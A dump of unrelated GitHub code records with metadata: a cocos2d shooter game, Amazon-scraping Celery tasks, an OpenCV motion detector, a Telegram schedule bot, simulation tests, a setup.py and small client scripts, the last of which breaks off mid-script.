background=cocos.sprite.Sprite('resourses/shoot/gameover.png')\r\n background.position = 384,512\r\n self.add(background)\r\n\r\nclass HelloWorld(cocos.layer.Layer):\r\n is_event_handler = True\r\n def __init__(self):\r\n super( HelloWorld, self ).__init__()\r\n \r\n scoreLabel=cocos.text.Label('0',\r\n font_name='Times new roman',\r\n font_size=64,\r\n anchor_x='center', anchor_y='center' )\r\n w,h = director.get_window_size()\r\n scoreLabel.position=w-100,h-100\r\n self.scoreLabel=scoreLabel\r\n self.add(scoreLabel)\r\n self.score=0\r\n \r\n \r\n sprite = cocos.sprite.Sprite('resourses/shoot/hero2.png')\r\n self.hero=sprite\r\n sprite.position = 320,240\r\n self.add( sprite, z=1 )\r\n \r\n self.move=[False,False,False,False] #up down left right\r\n \r\n self.bullets=cocos.batch.BatchNode()\r\n self.add(self.bullets) \r\n self.enemies=cocos.batch.BatchNode()\r\n self.add(self.enemies)\r\n \r\n self.schedule( self.step )\r\n self.schedule_interval(self.shoot,0.5)\r\n self.schedule_interval(self.makeEnemy,1)\r\n \r\n def makeEnemy( self, dt ):\r\n w,h = director.get_window_size()\r\n type = random.randint(1, 3)\r\n enemy = cocos.sprite.Sprite('resourses/shoot/enemy'+str(type)+'.png')\r\n enemy.type=type\r\n enemy.position=(w*random.random(), h)\r\n self.enemies.add(enemy) \r\n \r\n def shoot( self, dt ):\r\n bullet = cocos.sprite.Sprite('resourses/shoot/bullet1.png')\r\n bullet.position=self.hero.position \r\n self.bullets.add(bullet)\r\n \r\n def on_key_press(self, symbol, modifiers):\r\n if symbol==key.UP:\r\n self.move[0]=True\r\n if symbol==key.DOWN:\r\n self.move[1]=True\r\n if symbol==key.LEFT:\r\n self.move[2]=True \r\n if symbol==key.RIGHT:\r\n self.move[3]=True\r\n\r\n \r\n def on_key_release(self, symbol, modifiers): \r\n if symbol==key.UP:\r\n self.move[0]=False\r\n if symbol==key.DOWN:\r\n self.move[1]=False\r\n if symbol==key.LEFT:\r\n self.move[2]=False \r\n if symbol==key.RIGHT:\r\n self.move[3]=False\r\n \r\n def step( self, dt ):\r\n x=0\r\n y=0\r\n if self.move[0]:\r\n y+=2\r\n if self.move[1]:\r\n y-=2\r\n if self.move[2]:\r\n x-=2\r\n if self.move[3]:\r\n x+=2\r\n self.hero.do(MoveBy((x,y),0))\r\n \r\n self.moveBullets()\r\n self.moveEnemies()\r\n self.bump()\r\n \r\n self.scoreLabel.element.document.text=str(self.score)\r\n \r\n def bump(self):\r\n w,h = director.get_window_size()\r\n collman = cm.CollisionManagerGrid(0.0, w,\r\n 0.0, h,\r\n 10,10)\r\n \r\n self.hero.cshape = cm.CircleShape(eu.Vector2(self.hero.x, self.hero.y), 50) \r\n collman.add(self.hero)\r\n \r\n for one in self.bullets.get_children():\r\n one.cshape=cm.AARectShape(eu.Vector2(one.x, one.y), 5,10 )\r\n collman.add(one)\r\n for oneEnemy in self.enemies.get_children():\r\n oneEnemy.cshape=cm.AARectShape(eu.Vector2(oneEnemy.x, oneEnemy.y), 25*oneEnemy.type,25*oneEnemy.type )\r\n collman.add(oneEnemy)\r\n for oneEnemy in self.enemies.get_children():\r\n for oneBullet in self.bullets.get_children():\r\n if collman.they_collide(oneEnemy, oneBullet):\r\n self.enemies.remove(oneEnemy)\r\n self.bullets.remove(oneBullet)\r\n self.score+=50\r\n break\r\n for oneEnemy in self.enemies.get_children():\r\n if collman.they_collide(oneEnemy,self.hero):\r\n self.enemies.remove(oneEnemy)\r\n #self.remove(hero)\r\n #print \"you lose!!!!!!!\"\r\n GameOverLayer=GameOver ()\r\n gameover=cocos.scene.Scene (GameOverLayer)\r\n director.replace (gameover)\r\n\r\n \r\n def moveEnemies(self):\r\n w,h = director.get_window_size()\r\n for one in self.enemies.get_children():\r\n one.do(MoveBy((0,-3),0))\r\n if one.y<0:\r\n self.enemies.remove(one)\r\n \r\n def moveBullets(self):\r\n w,h = director.get_window_size()\r\n for one in self.bullets.get_children():\r\n one.do(MoveBy((0,3),0))\r\n if one.y>h:\r\n self.bullets.remove(one)\r\n\r\n\r\n \r\ndirector.init(width=768, height=1024)\r\nhello_layer=HelloWorld ()\r\n#hello_layer.do(RotateBy(360, duration=20))\r\nmain_scene=cocos.scene.Scene (hello_layer)\r\ndirector.run (main_scene)","repo_name":"milkmeat/thomas","sub_path":"airplane/airplane.py","file_name":"airplane.py","file_ext":"py","file_size_in_byte":5304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"21230323297","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, unicode_literals\nfrom datetime import datetime, timedelta\n\nfrom celery import shared_task\nfrom constance import config\nfrom django.db import transaction\nfrom lxml import html\n\nfrom apps.core.models import Item, SearchPage\nfrom apps.parsers.common import WebDriver\n\n\n@shared_task\ndef amazon_check_for_update_date():\n limit = config.AMAZON_MODEL_UPDATE_LIMIT\n update_gap = config.AMAZON_MODEL_UPDATE_TIME_GAP\n items = Item.objects.select_for_update().filter(parent=None,\n update_date__lte=datetime.now() - timedelta(days=update_gap))[:limit]\n with transaction.atomic():\n Item.objects.filter(id__in=[i.id for i in items]).update(update_date=datetime.now())\n items = [(item.url, item.id) for item in items]\n amazon_model_update.delay(items)\n\n\n@shared_task\ndef amazon_check_for_not_in_stock():\n limit = config.AMAZON_MODEL_UPDATE_LIMIT\n update_gap = config.AMAZON_MODEL_UPDATE_TIME_GAP\n items = Item.objects.select_for_update().filter(parent=None, in_stock=False,\n update_date__lte=datetime.now() - timedelta(days=update_gap))[:limit]\n with transaction.atomic():\n Item.objects.filter(id__in=[i.id for i in items]).update(update_date=datetime.now())\n items = [(item.url, item.id) for item in items]\n amazon_model_update.delay(items)\n\n@shared_task\ndef amazon_check_for_no_sku():\n limit = config.AMAZON_MODEL_UPDATE_LIMIT\n update_gap = config.AMAZON_MODEL_UPDATE_TIME_GAP\n items = Item.objects.select_for_update().filter(parent=None, sku=None,\n update_date__lte=datetime.now() - timedelta(days=update_gap))[:limit]\n with transaction.atomic():\n Item.objects.filter(id__in=[i.id for i in items]).update(update_date=datetime.now())\n items = [(item.url, item.id) for item in items]\n amazon_model_update.delay(items)\n\n\n\n@shared_task\ndef amazon_model_update(items):\n from .amazon import update_item\n webdriver = WebDriver()\n for item in items:\n update_item(*item, webdriver)\n webdriver.quit()\n\n\n@shared_task\ndef amazon_model_create(asins):\n from .amazon import parse_new_item\n webdriver = WebDriver()\n for asin in asins:\n parse_new_item(asin, webdriver)\n webdriver.quit()\n\n\n\n@shared_task\ndef track_amazon_search_pages():\n search_pages = SearchPage.objects.all()\n for page in search_pages:\n process_amazon_search_page(page.category_url)\n\n\ndef process_amazon_search_page(search_page):\n\n def pagination_finished(curr_page, dom):\n if bool(dom.xpath('.//ul[@class=\"a-pagination\"]/li[contains(@class,\"a-last\") '\n ' and contains(@class,\"a-disabled\")]')):\n return True\n if curr_page > config.AMAZON_SEARCH_PAGE_DEPTH != 0:\n return True\n return False\n\n webdriver = WebDriver()\n page_number = search_page.curr_page\n batch_amount = 500\n asins_batch = []\n\n while True:\n webdriver.get(search_page.category_url.format(page_number))\n dom = html.fromstring(webdriver.get_source())\n\n # accumulating asins batch\n item_links = [str(link) for link in dom.xpath('.//a/@href') if \"/dp/\" in str(link)]\n asin_list = [l.split(\"/\")[3] for l in item_links if len(l.split(\"/\")) > 3]\n existed_asins = [item.asin for item in Item.objects.filter(asin__in=asin_list)]\n asins_to_parse = [asin for asin in asin_list if not asin in existed_asins]\n asins_batch += asins_to_parse\n\n # processing asins batch\n if len(asins_batch) > batch_amount or pagination_finished(page_number, dom):\n amazon_model_create.delay(asins_batch)\n asins_batch = []\n search_page.curr_page = page_number\n search_page.save()\n # check for exit from the loop\n page_number += 1\n if pagination_finished(page_number, dom):\n break\n search_page.curr_page = 1\n search_page.save()\n webdriver.quit()\n\n\n@shared_task\ndef amazon_model_create(asins):\n from .amazon import parse_new_item\n webdriver = WebDriver()\n for asin in asins:\n parse_new_item(asin, webdriver)\n webdriver.quit()\n\n\n@shared_task\ndef parse_alternative_wallmart(brand, model_num, amazon_price, parent_id):\n from .wallmart import parse\n parse(brand, model_num, amazon_price, parent_id)\n\n\n@shared_task\ndef parse_alternative_ebay(brand, model_num, amazon_price, parent_id):\n from .ebay import parse\n parse(brand, model_num, amazon_price, parent_id)\n\n\n@shared_task\ndef parse_alternative_bestbuy(brand, model_num, amazon_price, parent_id):\n from .bestbuy import parse\n parse(brand, model_num, amazon_price, parent_id)\n\n\n@shared_task\ndef parse_alternative_newegg(brand, model_num, amazon_price, parent_id):\n from .newegg import parse\n parse(brand, model_num, amazon_price, parent_id)\n","repo_name":"WebCodiyapa/ubibble-api","sub_path":"apps/parsers/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":5017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27676319321","text":"import cv2\nimport numpy as np\n\n# ref: https://www.programcreek.com/python/example/89404/cv2.createBackgroundSubtractorMOG2\n# ref: https://docs.opencv.org/3.4.1/d7/d7b/classcv_1_1BackgroundSubtractorMOG2.html#ab8bdfc9c318650aed53ecc836667b56a\nclass Mog2MotionDetector:\n def __init__(self, backGroundRatio = 0.8, threshRatio = 0.8):\n '''\n Mog class construction.\n The `backGroundRatio is the ratio to update the background object.\n The `threshRatio` is the threshold ratio to check if it is motion or not.\n '''\n #Init the color detector object\n self.fgbg = cv2.createBackgroundSubtractorMOG2()\n\n # calculate the threshold value\n self.threshValue = 255 * threshRatio\n\n # preprocess kernel init\n self.kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (3, 3))\n self.connectivity = 8\n \n # it's considered background and added to the model as a center of a new component. It corresponds to TB parameter in the paper.\n self.fgbg.setBackgroundRatio(backGroundRatio)\n \n def mse(self, image, errThreshold = 2):\n '''\n The 'Mean Squared Error' between the two images is the\n sum of the squared difference between the two images;\n NOTE: the two images must have the same dimension.\n The `image` is the inputarray which it want to track motion. \n The `errThreshold` is the ratio to mutilply the err value\n '''\n\n grayimg = cv2.cvtColor(image, cv2.COLOR_BGR2BGRA)\n fgmask = self.fgbg.apply(grayimg)\n\n # use opening phology process to refine the fgmask\n fgmask_open = cv2.morphologyEx(fgmask, cv2.MORPH_OPEN, self.kernel) \n \n ret, thresh_img = cv2.threshold(fgmask, self.threshValue, 255, cv2.THRESH_BINARY)\n err = np.sum((thresh_img.astype(\"float\")) ** errThreshold)\n err /= float(thresh_img.shape[0] * thresh_img.shape[1])\n # return the MSE, the lower the error, the more \"similar\"\n # the two images are\n return thresh_img, round(err,0)\n\n def findForegroundObject(self, maskImage, minAreaThresh = 100, maxAreaRatioThresh = 0.5):\n '''\n Use the foreground mask to find the foreground object.\n `maskImage` is the foreground mask inputarray.\n `minAreaThresh` is the threshold value to avoid the noise.\n `maxAreaRatioThresh` is the ratio threshhold to avoid big noise.\n '''\n # ref: https://blog.csdn.net/weixin_34376562/article/details/86397975\n # ref: https://www.cnblogs.com/jsxyhelu/p/7439655.html\n forgroundObject = []\n \n # Only get the second index, it about the foreground object position and area\n foregroundInformation = cv2.connectedComponentsWithStats(maskImage, self.connectivity, cv2.CV_32S)[2]\n # Calculate the maxAreaThresh use the image area\n maxAreaThresh = maskImage.shape[0] * maskImage.shape[1] * maxAreaRatioThresh\n\n # Because the first index is the whole background information\n if foregroundInformation.shape[0] > 1:\n # delete the first cols object\n foregroundInformation = np.delete(foregroundInformation, [0], axis=0)\n\n while len(foregroundInformation)!= 0: \n # find the max bounding box index \n max_idx, max_val = self.__explicit(foregroundInformation[:,-1])\n # The threshold value if the bounding box area less than minAreaThresh, remove the object\n if max_val <= minAreaThresh or max_val >= maxAreaThresh:\n foregroundInformation = np.delete(foregroundInformation, [max_idx], axis = 0)\n continue\n\n forgroundObject.append(foregroundInformation[max_idx])\n # Get the max bounding box\n maxInformation = foregroundInformation[max_idx]\n\n deleteIndex = []\n deleteIndex.append(max_idx)\n\n # find the bounding box which include the max bounding box\n for index,rect in enumerate(foregroundInformation[1:]): \n if (maxInformation[0] < rect[0] and maxInformation[1] < rect[1]):\n if (maxInformation[0] + maxInformation[2] > rect[0] + rect[2] and maxInformation[1] + maxInformation[3] > rect[1] + rect[3]):\n deleteIndex.append(index)\n\n foregroundInformation = np.delete(foregroundInformation, deleteIndex, axis=0)\n \n return forgroundObject\n\n def __explicit(self, l):\n '''\n Help method to find max value and index in the `l` list\n ''' \n max_idx = np.argmax(l)\n max_val = l[max_idx]\n return max_idx, max_val \n \n\n# Debug mode\nif __name__ == \"__main__\":\n def main():\n # Detect the webcam\n cap = cv2.VideoCapture(0)\n # If can't detect the webcam\n if cap.isOpened() == False:\n print(\"Can't detect the webcam\")\n return -1 \n \n Mog = Mog2MotionDetector(backGroundRatio = 0.5)\n cap.set(cv2.CAP_PROP_EXPOSURE, -4.0)\n cap.set(cv2.CAP_PROP_AUTOFOCUS, 0)\n \n while True:\n ref, frame = cap.read() \n\n forgroundMaskImg, err = Mog.mse(frame)\n foregroundObject = Mog.findForegroundObject(forgroundMaskImg)\n \n\n for obj in foregroundObject:\n cv2.rectangle(frame, (obj[0], obj[1]), (obj[0] + obj[2], obj[1] + obj[3]), (0, 0, 255), 2)\n cv2.imshow(\"thresh\", forgroundMaskImg)\n cv2.imshow(\"TestMog\", frame)\n\n if cv2.waitKey(1) == 27:\n break\n \n main()\n","repo_name":"a8398331994/vidoe-motion-record","sub_path":"src/Mog2.py","file_name":"Mog2.py","file_ext":"py","file_size_in_byte":5742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39725711571","text":"import telebot\nimport config\n\nfrom telebot import types\n\nbot = telebot.TeleBot(config.TOKEN)\n\n@bot.message_handler(commands=['start', 'help'])\ndef welcome(message):\n\n # keyboard\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n item1 = types.KeyboardButton(\"Понедельник\")\n item2 = types.KeyboardButton(\"Вторник\")\n item3 = types.KeyboardButton(\"Среда\")\n item4 = types.KeyboardButton(\"Четверг\")\n item5 = types.KeyboardButton(\"Пятница\")\n\n markup.add(item1, item2, item3, item4, item5)\n\n bot.send_message(message.chat.id, \"Добро пожаловать\", reply_markup=markup)\n\n@bot.message_handler(func=lambda m: True)\ndef keyboard_message(message):\n if message.chat.type == 'private':\n if message.text == 'Понедельник':\n bot.send_message(message.chat.id, 'Расписание на Понедельник:\\n1. Технологии защиты информации (л)\\n2. Компьютерные сети\\n3. Технологии защиты (пр)')\n elif message.text == 'Вторник':\n bot.send_message(message.chat.id, 'Расписание на Вторник\\n1. Организация БД (пр)\\n2. Организация БД (л)\\n3. Многочисленные методы (л)\\n4.Компьютерные сети(пр)\\n5.Многочисленные методы (пр)')\n elif message.text == 'Среда':\n bot.send_message(message.chat.id, 'Расписание на Среду\\n1. Мигалка: нет пары / Инструментальные средства управления проектами (пр)\\n2. Компьютерные сети (пр)\\n3. Методы и технологии инженерии по (л)')\n elif message.text == 'Четверг':\n bot.send_message(message.chat.id, 'Расписание на Четверг\\n1.Мигалка: Инструментальные средства управления проектами (л) / нет пары\\n2.Архитектура компьютеров (л)\\n3. Архитектура компьютеров (пр)\\n4. Методы и технологии инженерии ПО (пр)')\n elif message.text == 'Пятница':\n bot.send_message(message.chat.id, 'Расписание на Пятницу\\n3. Межфакультетская дисциплина')\n else:\n bot.send_message(message.chat.id, 'Я не знаю что ответить :(')\n\nbot.polling()","repo_name":"DartZeon/TelegramConsultBot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37495784900","text":"#!/user/bin/env pypy3\nimport sys\nfrom typing import List\n\n\ndef fast_input():\n return sys.stdin.readline()[:-1]\n\n\ndef solve(mochi_list: List[int]) -> int:\n sorted_mochi_list = sorted(mochi_list)\n kagamimochi = set(sorted_mochi_list)\n return len(kagamimochi)\n\n\ndef main():\n n = int(fast_input())\n d = []\n for i in range(n):\n d.append(int(fast_input()))\n result = solve(d)\n print(result)\n\n\nmain()\n","repo_name":"wonderfulboyx/competitive-python","sub_path":"abc085/b/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6130191219","text":"import nbp\nimport numpy as np\nfrom nbp.tests.tools import make_system\n\n# def make_system(characteristic_length=10,\n# sigma=None, epsilon_lj=None, particle_charges=None, positions=None, particle_count=None,\n# lj=True, ewald=True, use_neighbours=False):\n# if particle_count is None:\n# if particle_charges is not None:\n# particle_count = np.asarray(particle_charges).shape[0]\n# elif positions is not None:\n# particle_count = np.asarray(positions).shape[0]\n# else:\n# particle_count = 50\n#\n# if not sigma:\n# sigma = np.ones((particle_count, 1))\n# if not epsilon_lj:\n# epsilon_lj = np.ones((particle_count, 1))\n#\n# if particle_charges is None:\n# particle_charges = np.random.rand(particle_count, 1)\n# if positions is None:\n# positions = characteristic_length * np.random.rand(particle_count, 3)\n#\n# system = nbp.System(characteristic_length, sigma, epsilon_lj, particle_charges, positions,\n# lj=lj, ewald=ewald, use_neighbours=use_neighbours)\n# nbp.Neighbours(system.info(), system.state(), system)\n# return system\n\ndef test_no_self_in_neighbours():\n system = make_system()\n\n self_in_neighbours = []\n for particle, position in enumerate(system.state().positions()):\n result = system.state().neighbours().get_neighbours(particle)\n if particle in result.nb_ID:\n self_in_neighbours.append(True)\n else:\n self_in_neighbours.append(False)\n\n assert any(self_in_neighbours) is False\n\n\ndef test_communicativity():\n system = make_system()\n\n for particle, position in enumerate(system.state().positions()):\n result = system.state().neighbours().get_neighbours(particle)\n nb_ID = result.nb_ID\n nb_dist = result.nb_dist\n print('Neighbours of particle {0}: {1}'.format(particle, nb_ID))\n print('Distances from particle {0}: {1}'.format(particle, nb_dist))\n for neighbour_index, neighbour in enumerate(nb_ID):\n neighbour_result = system.state().neighbours().get_neighbours(\n neighbour)\n neighbour_neighbours = neighbour_result.nb_ID\n print(\"neighbour dist: \", neighbour_result.nb_dist)\n neighbour_dist = neighbour_result.nb_dist\n print('Neighbours of particle {0}: {1}'.format(neighbour, neighbour_neighbours))\n print('Distances from particle {0}: {1}'.format(neighbour, neighbour_dist))\n\n if particle not in neighbour_neighbours:\n assert particle in neighbour_neighbours\n\n if neighbour_dist[neighbour_neighbours.index(particle)] != nb_dist[neighbour_index]:\n assert neighbour_dist[neighbour_neighbours.index(particle)] == nb_dist[neighbour_index]\n assert True\n\ntest_communicativity()\n\n\nif 0:\n def setup_neighbours(positions, particle_count, char_length, x):\n charges = np.random.rand(particle_count, 1)\n sigma = np.ones((particle_count, 1))\n epsilon_lj = np.ones((particle_count, 1))\n system = nbp.System(characteristic_length=char_length,\n sigma=sigma, epsilon_lj=epsilon_lj, particle_charges=charges, positions=positions,\n lj=True, ewald=True, use_neighbours=True)\n neighbours = nbp.Neighbours(system.info(), system.state(), system, verbose=True)\n neighbours_list = neighbours.get_neighbours(x)\n\n return neighbours_list\n\n if 0:\n positions_set1 = 4 * np.random.random_sample((100, 3))\n nb_result = setup_neighbours(positions_set1, len(positions_set1), 5, 8)\n\n # Call the named tuple and show the positions and the distance\n print(\"position result 1:\", nb_result.nb_ID)\n print(\"distance result 1:\", nb_result.nb_dist)\n print(\"------------------End Test 1 ----------------------------- \\n\")\n\n # Test if a real neighbour is seen as one.\n for i in range(7):\n positions_set2 = [[0, 0, 0], [1, 1.5, 1.2], [11, 11, 10], [5, 6, 5], [5, 5, 5], [8, 9, 10], [5.5, 6, 5.8]]\n positions_set2 = np.asarray(positions_set2)\n nb_result2 = setup_neighbours(positions_set2, len(positions_set2), 10, i)\n\n # Call the named tuple and show the positions and the distance\n print(\"\\n position result 2 for {0}: \".format(i), nb_result2.nb_ID)\n print(\"distance result 2:\", nb_result2.nb_dist)\n print(\"--------------End Test 2 ----------------------------- \\n\")\n\n # Test 3 if a real neighbour is seen as one.\n positions_set3 = [[5, 5, 5], [5, 5, 8]]\n positions_set3 = np.asarray(positions_set3)\n nb_result3 = setup_neighbours(positions_set3, len(positions_set3), 10, 1)\n\n # Call the named tuple and show the positions and the distance\n print(\"position result 3:\", nb_result3.nb_ID)\n print(\"distance result 3:\", nb_result3.nb_dist)\n print(\"---------------End Test 3 ----------------------------- \\n\")\n\nif 0:\n def get_neighbour_frame(positions, particle_count, char_length):\n charges = np.random.rand(particle_count, 1)\n sigma = np.ones((particle_count, 1))\n epsilon_lj = np.ones((particle_count, 1))\n system = nbp.System(characteristic_length=char_length,\n sigma=sigma, epsilon_lj=epsilon_lj, particle_charges=charges, positions=positions,\n lj=True, ewald=True, use_neighbours=True)\n neighbours = nbp.Neighbours(system.info(), system.state(), system, verbose=False)\n neighbours_list = neighbours._get_neighbours_frame()\n\n return neighbours_list\n\n\n positions_set = [[0, 0, 0], [1, 1.5, 1.2], [11, 11, 10], [5, 6, 5], [5, 5, 5], [8, 9, 10], [5.5, 6, 5.8], [5.3, 5.8, 5.8]]\n positions_set = np.asarray(positions_set)\n dict_test = get_neighbour_frame(positions_set, len(positions_set), 10)\n\n # Call the named tuple and show the positions and the distance\n print(\"All IDs:\", dict_test[\"IDs\"])\n print(\"All distances:\", dict_test[\"Distance\"])\n\n for i in range(8):\n if len(dict_test[\"IDs\"][i]) != len(dict_test[\"Distance\"][i]):\n raise ValueError('Number of neighbours and distances is not the same')\n\n print(\"--------------End Test 2 ----------------------------- \\n\")\n\n\nif 0:\n def check_update(positions, particle_count, char_length, x):\n charges = np.random.rand(particle_count, 1)\n sigma = np.ones((particle_count, 1))\n epsilon_lj = np.ones((particle_count, 1))\n system = nbp.System(characteristic_length=char_length,\n sigma=sigma, epsilon_lj=epsilon_lj, particle_charges=charges, positions=positions,\n lj=True, ewald=True, use_neighbours=True)\n neighbours = nbp.Neighbours(system.info(), system.state(), system, verbose=True)\n beginning_list = neighbours.get_neighbours(x)\n\n # new positions\n positions = positions + 1\n system.update_state() # what has to go in here?\n updated_list1 = neighbours.update_neighbours\n\n positions = positions + 1\n nbp.System(char_length, sigma, charges, positions)\n updated_list2 = neighbours.update_neighbours\n\n return beginning_list, updated_list1, updated_list2\n\n\n positions_set = [[0, 0, 0], [1, 1.5, 1.2], [2, 2, 2]]\n positions_set = np.asarray(positions_set)\n nb_update = check_update(positions_set, len(positions_set), 10, 1, 1)\n\n print(\"position result beginning:\", nb_update[0].nb_ID)\n print(\"distance result beginning:\", nb_update[0].nb_dist)\n print(\"\\n #----Next step: \\n\")\n print(\"position result updated:\", nb_update[1])\n print(\"distance result updated:\", nb_update[1])\n print(\"\\n #----Next step: \\n\")\n print(\"position result updated:\", nb_update[2])\n print(\"distance result updated:\", nb_update[2])\n\n print(\"---------------End Test 4 ----------------------------- \\n\")\n\n","repo_name":"bkmi/non-bonded-periodic","sub_path":"nbp/tests/test_neighbours.py","file_name":"test_neighbours.py","file_ext":"py","file_size_in_byte":7932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42923201592","text":"from dataclasses import dataclass\nfrom typing import Annotated\n\n\n@dataclass\nclass ValueRange:\n lo: int\n hi: int\n\n\nT1 = Annotated[int, ValueRange(-10, 5)]\nT2 = Annotated[T1, ValueRange(-20, 3)]\n\nprint(T2.__metadata__)\n","repo_name":"djimontyp/typing","sub_path":"docs/code/py_types/annotated.py","file_name":"annotated.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14108774327","text":"import os\nfrom pathlib import Path\nimport subprocess\n\nfrom setuptools import find_namespace_packages, setup\n\nROOT = Path(__file__).parent\nSRC = ROOT / \"src\"\nGPU_SUPPORT = 0 == int(\n subprocess.call(\n \"nvidia-smi\",\n shell=True,\n stdout=open(os.devnull, \"w\"),\n stderr=open(os.devnull, \"w\"),\n )\n)\n\ndef read(*names, encoding:str=\"utf8\"):\n with (ROOT / Path(*names)).open(encoding=encoding) as fp:\n return fp.read()\n\ndef find_requirements(filename:str):\n with (ROOT / \"requirements\" / filename).open() as f:\n return [\n line.rstrip()\n for line in f\n if not (line.startswith(\"#\") or line.startswith(\"http\"))\n ]\n\ninstall_requires = find_requirements(\"requirements.txt\")\nsetup_requires = find_requirements(\"requirements-setup.txt\")\ndocs_require = find_requirements(\"requirements-docs.txt\")\ntests_require = find_requirements(\"requirements-test.txt\")\nexamples_require = find_requirements(\"requirements-examples.txt\")\ndev_require = (\n docs_require\n + setup_requires\n + tests_require\n + examples_require\n)\n\n\nsetup_kwargs: dict = dict(\n name=\"tfad\",\n \n use_scm_version={\"fallback_version\": \"0.0.0\"},\n\n description=\"Neural Contextual Anomaly Detection for Time Series\",\n long_description=read(\"README.md\"),\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/awslabs/gluon-ts\",\n license=\"Apache License 2.0\",\n python_requires=\">= 3.6, < 3.9\",\n package_dir={\"\": \"src\"},\n packages=find_namespace_packages(include=[\"tfad*\"], where=str(SRC)),\n include_package_data=True,\n setup_requires=setup_requires,\n install_requires=install_requires,\n tests_require=tests_require,\n extras_require={\n \"dev\": dev_require,\n \"docs\": docs_require,\n \"examples\": examples_require,\n },\n)\n\nif __name__ == \"__main__\":\n setup(**setup_kwargs)\n","repo_name":"DAMO-DI-ML/CIKM22-TFAD","sub_path":"tfad/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"54"} +{"seq_id":"3808570708","text":"import socket\n\nclient_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient_socket.settimeout(5) # set timeout to 5 seconds\ntry:\n client_socket.connect(('localhost', 8888))\n message = \"Hello from client!\"\n client_socket.send(message.encode())\n response = client_socket.recv(1024).decode()\n print(f\"Received message: {response}\")\nexcept socket.timeout:\n print(\"Timeout error occurred.\")\nexcept ConnectionRefusedError:\n print(\"Server refused connection.\")\nfinally:\n client_socket.close()\n","repo_name":"jarvisN/non2023","sub_path":"python/05_teach/debug2.py","file_name":"debug2.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3835365802","text":"import os\n\n\ndef courses_path():\n return os.environ.get(\"STORAGE_COURSES\")\n\n\ndef course_path(course, create=False):\n path = '{}/{}'.format(courses_path(), course['id'])\n if create and not os.path.exists(path):\n os.makedirs(path)\n return path\n\n\ndef section_path(course, section, create=False):\n path = '{}/{}'.format(course_path(course), section['id'])\n if create and not os.path.exists(path):\n os.makedirs(path)\n return path\n\n\ndef file_path(course, section, file, page=None, create=False):\n path = '{}/{}'.format(section_path(course, section), file['id'])\n\n if page:\n path = '{}p{}'.format(path, page)\n elif create and not os.path.exists(path):\n os.makedirs(path)\n\n return path\n","repo_name":"mhassany-pitt/ir-ereader-search","sub_path":"ereader/apps/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"13262696630","text":"# -*- coding: utf-8 -*-\r\nimport requests\r\nimport json\r\nimport os,sys\r\nimport time\r\nimport base64\r\nimport glob\r\nimport cv2\r\nimport numpy as np\r\ncount = 0\r\nsum_time = 0\r\n\r\n\r\nfrom multiprocessing import Process, Queue,Manager\r\n\r\ndef loop(func_name,lock,queue,i,results):\r\n \r\n with lock:\r\n print('process ' + str(i) + ' started...')\r\n \r\n while 1:\r\n filename = queue.get()\r\n \r\n if filename == -1:\r\n queue.put(-1)\r\n break\r\n \r\n time1 = time.time()\r\n dataStr = {\"param\":fileToBase64(filename),\"type\":1}\r\n# time1 = time.time()\r\n res = func_name(lock,'http://127.0.0.1:10001/getBillType',dataStr)\r\n time_cost = round(time.time() - time1,3)\r\n results.append((filename,res,time_cost))\r\n \r\n \r\ndef multi_process_func(func_name,filenames,max_process = 4,maxsize_num = 100000):\r\n queue_job = Queue(maxsize = maxsize_num + 1) ## 1: put(-1)\r\n for filename in filenames:\r\n queue_job.put(filename)\r\n queue_job.put(-1)\r\n \r\n manager = Manager()\r\n results = manager.list([])\r\n lock = manager.Lock()\r\n \r\n process_list = []\r\n for i in range(max_process): ##max_process最大进程数, i:进程编号\r\n process_parse = Process(target = loop,args = (func_name,lock,queue_job,i,results))\r\n process_parse.start()\r\n process_list.append(process_parse)\r\n for process_parse in process_list:\r\n process_parse.join()\r\n \r\n return results\r\n\r\n\r\ndef download(lock,url,dataStr):\r\n content = requests.post(url,json.dumps(dataStr)).content\r\n resultdict = json.loads(content) #[\"type\"]\r\n return resultdict\r\n\r\ndef fileToBase64(img_path): \r\n with open(img_path, \"rb\") as image_file:\r\n encoded_image = base64.b64encode(image_file.read())\r\n image_string = encoded_image.decode('utf-8')\r\n return image_string\r\n\r\ndef get_file_list(testPath,file_suffix = []):\r\n file_list = []\r\n for dir_path,_,basenames in os.walk(testPath):\r\n for basename in basenames:\r\n filename = os.path.join(dir_path,basename)\r\n file_list.append(filename)\r\n if len(file_list) and len(file_suffix):\r\n file_list = list(filter(lambda x:x[-4:] in file_suffix,file_list))\r\n return file_list\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import traceback\r\n if len(sys.argv) == 1: #default /testpath/*.jpg\r\n testPath = r\"./test_img\"\r\n else:\r\n testPath = sys.argv[1]\r\n \r\n print('testPath: {}'.format(os.path.abspath(testPath)))\r\n \r\n \r\n filenames = get_file_list(testPath,['.JPG'])\r\n\r\n time_ = time.time()\r\n \r\n 